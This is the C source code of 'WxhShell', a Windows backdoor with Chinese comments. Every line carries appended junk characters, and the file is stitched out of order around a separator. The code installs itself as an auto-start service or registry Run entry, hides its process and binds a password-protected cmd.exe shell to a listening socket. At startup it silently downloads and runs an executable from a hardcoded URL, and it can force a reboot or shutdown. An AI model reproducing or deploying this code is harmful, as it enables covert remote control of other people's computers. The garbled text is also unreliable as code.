    else { `GBa3  
    closesocket(wsh); Q{:5gh  
    ExitThread(0); UdiogXZ  
    } RZ6[+Ygn  
    break; I1a>w=x!+  
    } T"b'T>Y  
  // 获取shell I*SrK Zb  
  case 's': { jDV;tEY#^  
    CmdShell(wsh); c)b/"  
    closesocket(wsh); tF/)DZ.to  
    ExitThread(0); !:GlxmtoW?  
    break; AgBXB%).  
  } |+aUy^  
  // 退出 KkIgyLM  
  case 'x': { 6XFLWN-)  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Bp7`W:?# "  
    CloseIt(wsh); YV{^2)^  
    break; WLy%| {/  
    } JZo18^aD"'  
  // 离开 [J{M'+a  
  case 'q': { z AZ+'9LB  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); '1 }ybSG  
    closesocket(wsh);  s-Z<  
    WSACleanup(); >,9ah"K_x  
    exit(1); wDvG5  
    break; pz hPEp;  
        } &tJ!cTA.-  
  } ;!C~_{/t  
  } *3Vic  
#B^A"?*S  
  // 提示信息 ^5GyW`a}  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fHLt{!O  
} XHh!Q0v;  
  } 1^HmM"DD  
u alpm#GU  
  return; ;h-W&i7  
} ,(@JNtx  
M SnRx*-  
// shell模块句柄 Z w`9B  
int CmdShell(SOCKET sock) \se /2l  
{ MmbS ["A  
STARTUPINFO si; Y6Mp[=  
ZeroMemory(&si,sizeof(si)); C9FzTg/c  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; vT&) 5nN  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4%GwCEnS  
PROCESS_INFORMATION ProcessInfo; 2LTMt?  
char cmdline[]="cmd"; Bw{enf$vR  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,bGYixIfYZ  
  return 0; 8k0f&Cak=  
} QF74'  
S=@bb$4-T  
// 自身启动模式 7;i [  
int StartFromService(void) dc+U #]tS  
{ WSKubn?7B  
typedef struct @CUYl*.PD  
{ e|e"lP  
  DWORD ExitStatus; qj #C8Tc7  
  DWORD PebBaseAddress; J6C/`)+w  
  DWORD AffinityMask; &*nq.l76X`  
  DWORD BasePriority; +@"Ls P  
  ULONG UniqueProcessId; e*!0|#-  
  ULONG InheritedFromUniqueProcessId; 0^m`jD  
}   PROCESS_BASIC_INFORMATION; I;g>r8N-Bu  
v.q`1D1=t  
PROCNTQSIP NtQueryInformationProcess; "T4buTXJ  
*De}3-e1b  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; \+T U{vr  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _pN:p7l(  
DCheG7lo{  
  HANDLE             hProcess; s$wIL//=  
  PROCESS_BASIC_INFORMATION pbi; }HKt{k&$  
Mjj5~by:  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Pl\r|gS;  
  if(NULL == hInst ) return 0; QUO'{;,  
+td]g9Ie  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");  %ZR<z$  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); gy*c$[NS$  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %jErLg  
.ED8b5t|  
  if (!NtQueryInformationProcess) return 0; A?+0Ce&qL  
`bJ?8~ 8 *  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); k E},>+W+  
  if(!hProcess) return 0; +}eH,  
Py~1xf/  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; uz /Wbc>y  
.dO8I/lhV  
  CloseHandle(hProcess); NW4tQ;ad  
t[4V1:  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /7fD;H^*  
if(hProcess==NULL) return 0; ' 5xvR G  
t}wwRWo2?f  
HMODULE hMod; dZ,IXA yB  
char procName[255]; wsEOcaie  
unsigned long cbNeeded; Tv6HPD$[  
d2U+%%Tdw  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); L&,&SDr  
]pq(Q:"P,5  
  CloseHandle(hProcess); uefrE53  
w\zNn4B})A  
if(strstr(procName,"services")) return 1; // 以服务启动 *w OU=1+  
I R|[&}z  
  return 0; // 注册表启动 HPc~wX  
} yBl9a-2A  
[e f&|Pi-  
// 主模块 ^iqy|zNtn  
int StartWxhshell(LPSTR lpCmdLine) |*%i]@V=  
{ + usB$=kJ  
  SOCKET wsl; gA:unsI  
BOOL val=TRUE; )&s9QBo{b  
  int port=0; I&wJK'GM`  
  struct sockaddr_in door; 2)MX<prH  
ey@{Ng#  
  if(wscfg.ws_autoins) Install(); TFG0~"4Cz  
7tP qez#  
port=atoi(lpCmdLine); qORL 7?{  
Lyq[gQjr  
if(port<=0) port=wscfg.ws_port; vI20G89E  
AaLbJYuKd  
  WSADATA data; rcAPp  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;Xl {m`E+  
FI"KJk'  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   M3VTzwuf^S  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <%N*IE"q  
  door.sin_family = AF_INET; n/ZX$?tKAK  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); h7kn >q;  
  door.sin_port = htons(port); Vj[hT~{f  
.G-L/*&%  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -nQ(.#-n  
closesocket(wsl); x8o/m$[,=u  
return 1; ?3y>K!D(A  
} L_Xbca=  
$U4[a:  
  if(listen(wsl,2) == INVALID_SOCKET) { &>xz  
closesocket(wsl); k![oJ.vHD  
return 1; V<ii  
} ^6QzaC3  
  Wxhshell(wsl); `b KJ  
  WSACleanup(); KU^|T2s%  
:{s0tw>Z  
return 0; [4r<WvUaM  
sV;q(,oru  
} 6F_:,b^  
Zd}12HFq  
// 以NT服务方式启动 &EhOSu  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) u&Yd+');  
{ /V }Z,'+  
DWORD   status = 0; FA{'Ki`  
  DWORD   specificError = 0xfffffff; meYGIP:n  
v, !`A!{D  
  serviceStatus.dwServiceType     = SERVICE_WIN32; *G8Z[ht%r  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Zg9VkL6Z6  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; CT/>x3o  
  serviceStatus.dwWin32ExitCode     = 0; fRjp(m  
  serviceStatus.dwServiceSpecificExitCode = 0; AO,^v+ $  
  serviceStatus.dwCheckPoint       = 0; vty:@?3\  
  serviceStatus.dwWaitHint       = 0; .cz7jD  
wUfm)Q#  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); B9wQ;[gQB  
  if (hServiceStatusHandle==0) return; @D$ogU,#  
?_d3|]N  
status = GetLastError(); j dkqJ4&i  
  if (status!=NO_ERROR) %6la@i  
{ u s8.nL/  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; \olY)b[  
    serviceStatus.dwCheckPoint       = 0; Z>[n~{-,p  
    serviceStatus.dwWaitHint       = 0; 0|kH0c,T-  
    serviceStatus.dwWin32ExitCode     = status; 8p#V4liE  
    serviceStatus.dwServiceSpecificExitCode = specificError; E.,  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); BP@V:z  
    return; 0jt@|3  
  } \A6 }=  
_ BoA&Ism  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ]:}7-;$V  
  serviceStatus.dwCheckPoint       = 0; iD<}r?Z  
  serviceStatus.dwWaitHint       = 0; %@8#+#@J0  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); :<v@xOzxx  
} YIF|8b\  
aTkMg  
// 处理NT服务事件,比如:启动、停止 CIVV"p`}  
VOID WINAPI NTServiceHandler(DWORD fdwControl) oA8A @,-L  
{ h!`KX2~  
switch(fdwControl) yQ !keGj  
{ N|%X/UjZ2.  
case SERVICE_CONTROL_STOP:  `7oYXk  
  serviceStatus.dwWin32ExitCode = 0; /m4Y87  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; *xN?5u%  
  serviceStatus.dwCheckPoint   = 0;  +F~B"a  
  serviceStatus.dwWaitHint     = 0; :kC*<f\  
  { !+DhH2;)F  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); o(C;;C(*{  
  } jW{bP_,"  
  return; XePGOw))O  
case SERVICE_CONTROL_PAUSE: eH~T PH  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; |xT'+~u  
  break; ?7"v~d]>  
case SERVICE_CONTROL_CONTINUE: w,j;XPp  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ,hZ?]P&  
  break; y(O~=S+<  
case SERVICE_CONTROL_INTERROGATE: wScr:o+K>L  
  break; 89{`GKWX  
}; zYM0?O8pJ~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -XnOj2  
} 4?]s%2U6  
-wVuM.n(Z  
// 标准应用程序主函数 eh8lPTKil  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Lj/  
{ (C.aQ)|T  
Fzt7@VNxc  
// 获取操作系统版本 $-.*8*9  
OsIsNt=GetOsVer(); TPLv]$n  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 4>/i,_&K K  
xZ(d*/6E  
  // 从命令行安装 53?Ati\Y)  
  if(strpbrk(lpCmdLine,"iI")) Install(); mC3:P5/c  
R,fAl"wMu  
  // 下载执行文件 "bz.nE*  
if(wscfg.ws_downexe) { 03_M+lv  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) AW'$5 NF>  
  WinExec(wscfg.ws_filenam,SW_HIDE); Gzwb<e y  
} .*Bd'\:F/q  
~%h&ELSw  
if(!OsIsNt) { ' Er\ 68  
// 如果时win9x,隐藏进程并且设置为注册表启动 wh!8\9{g  
HideProc(); ZZ/k7(8  
StartWxhshell(lpCmdLine); Y~w1_>b  
} :  @$5M  
else $LG.rJ/*  
  if(StartFromService()) ENI|e,'[  
  // 以服务方式启动 |XMWi/p  
  StartServiceCtrlDispatcher(DispatchTable); ,!X:wY}dW  
else ["e;8H[K)%  
  // 普通方式启动 v^;vH$B  
  StartWxhshell(lpCmdLine); W@i|=xS?  
'v=BAY=Ef  
return 0; r?dkE=B  
} bR$5G  
J% ZM V  
F5OQM?J  
0_,un^  
=========================================== {bG.X?b  
xk3)#*  
qQ1D}c@  
R^]a<g,  
M:L-j{?y_  
v- p8~u1N  
" >FJK$>[1:p  
Y![8-L|Q  
#include <stdio.h> n57mh5mixM  
#include <string.h> B*P;*re  
#include <windows.h> y<#Hq1  
#include <winsock2.h> ;F"Tu  
#include <winsvc.h> Ga V OMT  
#include <urlmon.h> nFe  
yo$A0Ti!w  
#pragma comment (lib, "Ws2_32.lib") -y[y.#o  
#pragma comment (lib, "urlmon.lib") "{3MXAFe  
;Wsl 'e/  
#define MAX_USER   100 // 最大客户端连接数 ]\]mwvLT  
#define BUF_SOCK   200 // sock buffer ymT]ow6C  
#define KEY_BUFF   255 // 输入 buffer prB:E[1  
8#4Gs Q"  
#define REBOOT     0   // 重启 um\A  
#define SHUTDOWN   1   // 关机 L`fT;2  
}WF6w+  
#define DEF_PORT   5000 // 监听端口  =vDpm,  
l{VJaZ $M  
#define REG_LEN     16   // 注册表键长度 07:h4beT  
#define SVC_LEN     80   // NT服务名长度 `6LV XDR  
3$BO=hI/-  
// 从dll定义API jS5K:yx<  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 7|Iq4@IT  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); E.-2 /'i  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )}vUYTU1  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); tf1Y5P$  
Mko,((>I1  
// wxhshell配置信息 ?%/*F<UVQ  
struct WSCFG { pW>.3pj  
  int ws_port;         // 监听端口 :5jor Vu  
  char ws_passstr[REG_LEN]; // 口令 23opaX5V=  
  int ws_autoins;       // 安装标记, 1=yes 0=no @V@<j)3P  
  char ws_regname[REG_LEN]; // 注册表键名 9WHarv2@  
  char ws_svcname[REG_LEN]; // 服务名 ]eX(K5 A  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 rP/W,! 7:K  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &ha<pj~  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 T(k:\z/  
int ws_downexe;       // 下载执行标记, 1=yes 0=no L Z3=K`gj  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" >feeVk  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8^R~qpg%  
`_"?$ v2F  
}; C\|HN=2eh  
2d<`dQY{l3  
// default Wxhshell configuration Z'm( M[2K  
struct WSCFG wscfg={DEF_PORT, |>-0q~  
    "xuhuanlingzhe", zOJzQZ~  
    1, W#wC  
    "Wxhshell", @v.?z2h  
    "Wxhshell", Bu{%mm(  
            "WxhShell Service", RhE|0N=  
    "Wrsky Windows CmdShell Service", 6^FUuj.  
    "Please Input Your Password: ", Lo" s12fr  
  1, .e}`n)z  
  "http://www.wrsky.com/wxhshell.exe", 6c}nP[6|  
  "Wxhshell.exe" SL<EZn0F9  
    }; .tK]-f2  
SK_N|X].  
// 消息定义模块 0,iG9D 7  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ? :F Jc[J  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Kn2W{*wD  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; _cJ\A0h^  
char *msg_ws_ext="\n\rExit."; $us7fuKE  
char *msg_ws_end="\n\rQuit."; lH"VLO2l  
char *msg_ws_boot="\n\rReboot..."; _$oE'lat  
char *msg_ws_poff="\n\rShutdown..."; ^a#W|-:  
char *msg_ws_down="\n\rSave to "; ESe$6)P  
KnK\X>:  
char *msg_ws_err="\n\rErr!"; v,US4C|^3i  
char *msg_ws_ok="\n\rOK!"; g=Nde2d?  
;3Q3!+%j  
char ExeFile[MAX_PATH]; P+0 -h  
int nUser = 0; p#gf^Y5  
HANDLE handles[MAX_USER]; cWI7];/d;  
int OsIsNt; 5)gC<  
a JQ_V  
SERVICE_STATUS       serviceStatus; 2}5@: cwR+  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 1NK,:m  
3:b5#c?R-  
// 函数声明 4c.!^EiV  
int Install(void); 0X%#9s ~  
int Uninstall(void); U{HBmSR  
int DownloadFile(char *sURL, SOCKET wsh); `<% w4 E  
int Boot(int flag); mrlhj8W?!  
void HideProc(void); tpP68)<ns  
int GetOsVer(void); 0rc'SEl  
int Wxhshell(SOCKET wsl); jfZ)  
void TalkWithClient(void *cs); _~!c%_  
int CmdShell(SOCKET sock); Qaiqx"x3  
int StartFromService(void); =DI/|^j{ ;  
int StartWxhshell(LPSTR lpCmdLine); ;]2d%Qt  
Nh6!h%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); a3:1`c/~\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); V j[,o Vt$  
q]y{ 4"=5  
// 数据结构和表定义 :/;;|lGw  
SERVICE_TABLE_ENTRY DispatchTable[] = MhN 8'y(  
{ ?6:e%YT  
{wscfg.ws_svcname, NTServiceMain}, jf& oN]sZ  
{NULL, NULL} m .^WSy  
}; ~vfPsaRh  
M7neOQHq  
// 自我安装 ket"fXqJX  
int Install(void) U#4>GO;A  
{ a!;K+wL >  
  char svExeFile[MAX_PATH]; .y#>mXm>  
  HKEY key; SFRYX,0m  
  strcpy(svExeFile,ExeFile); kX:8sbZ##4  
,go$ 6  
// 如果是win9x系统,修改注册表设为自启动 VQpwHzh  
if(!OsIsNt) { ;GZ'Rb  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @DyMq3Gt?&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); g<i>252>  
  RegCloseKey(key); [ _&z+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { tj tN<y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &lB>G[t  
  RegCloseKey(key); +)7h)uq  
  return 0; x|3G}[=  
    } ~&+8m=   
  } A)kdY!}  
} tU>4?`)E  
else { 9 NqZ&S  
byJ[1UK  
// 如果是NT以上系统,安装为系统服务 g"D:zK)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); .H5^N\V|  
if (schSCManager!=0) 0Y*Ag ,S  
{ v0+$d\mP4<  
  SC_HANDLE schService = CreateService [<#`@Kr  
  ( <rNz&;m}  
  schSCManager, f7 zGz  
  wscfg.ws_svcname, kfy|3KA3m  
  wscfg.ws_svcdisp, 5+*CBG}  
  SERVICE_ALL_ACCESS, 2Vg+Aly4D  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , kJ B u7  
  SERVICE_AUTO_START, _;G|3>5u  
  SERVICE_ERROR_NORMAL, IHe?/oUL"b  
  svExeFile, *GM.2``e  
  NULL, SCXtBZ`.G  
  NULL, Q% J!  
  NULL, <GoZ>  
  NULL, 'zYx4&s  
  NULL rF . Oo0  
  ); D}bCMN <  
  if (schService!=0) q_0,KOGW  
  { a8Z{-=)  
  CloseServiceHandle(schService); WD#7Q&T(;  
  CloseServiceHandle(schSCManager); ks<+gL{K|i  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4% 2MY\  
  strcat(svExeFile,wscfg.ws_svcname); 7]8apei|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~ "WN4  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ] U[4r9V  
  RegCloseKey(key); oo!JAv}~  
  return 0; [L>AU; :  
    } /3 d6Og  
  } @86I|cY  
  CloseServiceHandle(schSCManager); r1|;V~ a$~  
} w'P!<JaZ  
} h7>`:~  
~01Fp;L/  
return 1; mvGj !'  
} 7gT^ZL  
&fgfCZz'  
// 自我卸载 p}-B>v  
int Uninstall(void) Q E*`#r#e  
{ i  M!=/  
  HKEY key; +L#Q3}=s  
Bfr$&?j#  
if(!OsIsNt) { g}*F"k4j  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z<$ y)bf  
  RegDeleteValue(key,wscfg.ws_regname); Uj> bWa`  
  RegCloseKey(key); =7<g;u   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { AJ85[~(lX  
  RegDeleteValue(key,wscfg.ws_regname); LW+^m6O  
  RegCloseKey(key); hN.{H:skL)  
  return 0; hx sW9  
  } <qCfw>%2F  
} 3[iHe+U(  
} ~_"/\; 1  
else { mO^vKq4r.  
~Z x_"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); P:v|JER   
if (schSCManager!=0) zgA/B{DaC;  
{ bJ9K!6s??`  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 33b 3v\N  
  if (schService!=0) *W=R:Bl!  
  { C2W&*W*  
  if(DeleteService(schService)!=0) { 3X}>_tj  
  CloseServiceHandle(schService); g;G.uF&  
  CloseServiceHandle(schSCManager); {~eVZVv  
  return 0; %n>*jFC  
  } L2^M#G@t  
  CloseServiceHandle(schService); i 9wk)  
  } mEDi'!YE"  
  CloseServiceHandle(schSCManager); l*<RKY8  
} I?%iJ%  
} +`Ypc  
?DKwKt  
return 1; SHP_  
} c~iAjq+c  
d@_|  
// 从指定url下载文件 I]Jz[{~1  
int DownloadFile(char *sURL, SOCKET wsh) D]$X@2A  
{ o"@GYc["  
  HRESULT hr; t5jZ8&M5]  
char seps[]= "/"; fkK42*U@r  
char *token; \Dr?}D  
char *file; ".T&nS[z  
char myURL[MAX_PATH]; YCEdt>5PA  
char myFILE[MAX_PATH]; <GRrw  
MLn\ b0  
strcpy(myURL,sURL); :I^I=A%Pe(  
  token=strtok(myURL,seps); B]|"ePj-  
  while(token!=NULL) %oqC5O6  
  { 6$*ZH *  
    file=token; v6`TbIq%  
  token=strtok(NULL,seps); #&ZwQw  
  } 2';f8JLY  
.@(9v.:_u  
GetCurrentDirectory(MAX_PATH,myFILE); W=@]YI  
strcat(myFILE, "\\"); <hSrx7o  
strcat(myFILE, file); b6A]/290x  
  send(wsh,myFILE,strlen(myFILE),0); *&lNzz5&  
send(wsh,"...",3,0); %vFoTu)2  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); i$!-mYi+Q!  
  if(hr==S_OK) Kn+m9  
return 0; \w\{x0u  
else a}MSA/K(  
return 1; ^+zhzfJ  
6+Wkcr h  
} ]Sgc 42hk  
Foc) u~  
// 系统电源模块 j^'op|l  
int Boot(int flag) /K<.$B8  
{ V8{5 y <Y>  
  HANDLE hToken; iN+Tig?c  
  TOKEN_PRIVILEGES tkp; E||[(l,b  
a+Z95~*sZ"  
  if(OsIsNt) { Y>i?nC%*  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0755;26Bx  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); WN%KA TA  
    tkp.PrivilegeCount = 1; C|W\qXCqu  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ^%pM$3ov  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 4tv}V:EO  
if(flag==REBOOT) { c3$h-M(jVJ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) k9pOY]_Y  
  return 0; o:irwfArv  
} ,3tcti~sZ  
else { A$]&j5nh|  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \$] V#@F  
  return 0; ow{SsX  
} k{q4Zz[  
  } <i(<|/ $  
  else { WfDpeXdO  
if(flag==REBOOT) { {Ex*8sU%p%  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %t:pG}A>:C  
  return 0; \KJ\>2Y  
} 3A(sT}  
else { }+1Y>W7q  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 8Vb.%f &I  
  return 0; 1JI\e6]I  
} v2uyn  
} HX77XTy  
|nFg"W  
return 1; 8 aHs I(  
} q`8M9-~  
rL /e  
// win9x进程隐藏模块 8I`t`C/4  
void HideProc(void) \Gk4J<  
{ E8=8OX/{Y  
u'BuZF  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :"4Pr/}rT  
  if ( hKernel != NULL ) c{dge/2yb  
  { 8(EK17rE `  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 6.!Cm$l  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); cnR.J  
    FreeLibrary(hKernel); B8'e,9   
  } "5,tEP!  
,c;u]  
return; mu?6Phj  
} bo  J  
5uU.K3G7  
// 获取操作系统版本 Ikn)XZU^  
int GetOsVer(void) |%@.@c  
{ !5;A.f  
  OSVERSIONINFO winfo; y.l`NTT] <  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); g{}{gBplnl  
  GetVersionEx(&winfo); DKG%z~R*  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ?{OB+f}Mo  
  return 1; A@kp` -  
  else u ::2c  
  return 0; "XEK oeG{  
} 1UHStR  
0~5'O[NhF  
// 客户端句柄模块 ?x|8"*N  
int Wxhshell(SOCKET wsl) EN =oA P  
{ 0 =2D 90  
  SOCKET wsh; ;%_fQNFb  
  struct sockaddr_in client; ,(6U3W*bu  
  DWORD myID; l<]@5"wN  
&F*L=Ng  
  while(nUser<MAX_USER) %6vf~oG  
{ wm$1LZ8o-`  
  int nSize=sizeof(client); oTPPYi[r  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 1,tM  
  if(wsh==INVALID_SOCKET) return 1; f"=1_*eH  
s:6pPJL  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); py9HUyr5eZ  
if(handles[nUser]==0) 'ow`ej  
  closesocket(wsh); S|{'.XG  
else /~49.}yt  
  nUser++; q^e4  
  } 9D2}heTN  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); CO` %eL ~  
V?a+u7*U&  
  return 0; X_}2xo|T  
} |,&5.|E 7  
\m3;<A/3n  
// 关闭 socket L@"1d.k_  
void CloseIt(SOCKET wsh) 0<8p G:BQ  
{ +$hqwNh@Z@  
closesocket(wsh); y7;i4::A\  
nUser--; bF#*cH  
ExitThread(0); /$ -^k[%  
} |]d A`e&y  
x2|YrkGv  
// 客户端请求句柄 :3z`+5Y*  
void TalkWithClient(void *cs) JP2zom  
{ "pDwN$c  
FZW)C'j  
  SOCKET wsh=(SOCKET)cs; FJ|6R(T_  
  char pwd[SVC_LEN]; cK;,=\  
  char cmd[KEY_BUFF]; pohA??t2:  
char chr[1]; SD"'  
int i,j; 7>Af"1$g  
u*I=.  
  while (nUser < MAX_USER) { TV~ <1vj  
s)=fs#%  
if(wscfg.ws_passstr) { (8(7:aE $  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Hl,.6 >F?  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); H8V${&!ho  
  //ZeroMemory(pwd,KEY_BUFF); k* ayzg3F>  
      i=0; lzQmD/i*  
  while(i<SVC_LEN) { . C g2Y  
1ke H1[  
  // 设置超时 FCC9Ht8U?  
  fd_set FdRead; }/ p>DMN  
  struct timeval TimeOut; 9t.u9C=!F  
  FD_ZERO(&FdRead); qP"+SVqC  
  FD_SET(wsh,&FdRead); hPs7mnSW  
  TimeOut.tv_sec=8; eY)JuJ?  
  TimeOut.tv_usec=0; 03WLVP@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ewNzRH,b  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ]wH,534  
`CW I%V  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); y<Hka'(%  
  pwd=chr[0]; ?R7>xrp5  
  if(chr[0]==0xd || chr[0]==0xa) { xQ[~ c1  
  pwd=0; ZfPWH'P  
  break; U>bmCK2  
  } )575JY `6K  
  i++; i?.7o*w8  
    } I Xm}WTgF!  
G@YX8!w U  
  // 如果是非法用户,关闭 socket V &K:~[M  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #1INOR9  
} 5B&#Sh`r  
uM!$`JN  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); F~;G [6}  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -6URM`y'j  
2S~cW./#fX  
while(1) { t% -"h|  
%h)6o99{wF  
  ZeroMemory(cmd,KEY_BUFF); <oweLRt  
C #A sA  
      // 自动支持客户端 telnet标准   $\S;f"IM.  
  j=0; .AIlv^:|U  
  while(j<KEY_BUFF) { 5pF4{Jd1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ze+_iQ5  
  cmd[j]=chr[0]; 6qW/Td|g  
  if(chr[0]==0xa || chr[0]==0xd) { Md~% e'  
  cmd[j]=0; Q\pTyNAYn  
  break; =Kq/E De  
  } k 8C[fRev  
  j++; O5:?nD  
    } RoV^sbWFt  
V/X4WZs|i  
  // 下载文件 k<aKT?Ek>  
  if(strstr(cmd,"http://")) { 5XK}8\  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); -8j<`(M' 5  
  if(DownloadFile(cmd,wsh)) D(EY"s37  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); _0~WT  
  else ]}KoW?M  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Pm2T!0  
  }  b)7uz>I  
  else { j"FX ?|4  
pF)}<<C  
    switch(cmd[0]) { <78]OZ] Z  
  X67.%>#3  
  // 帮助 ]}4{|& e  
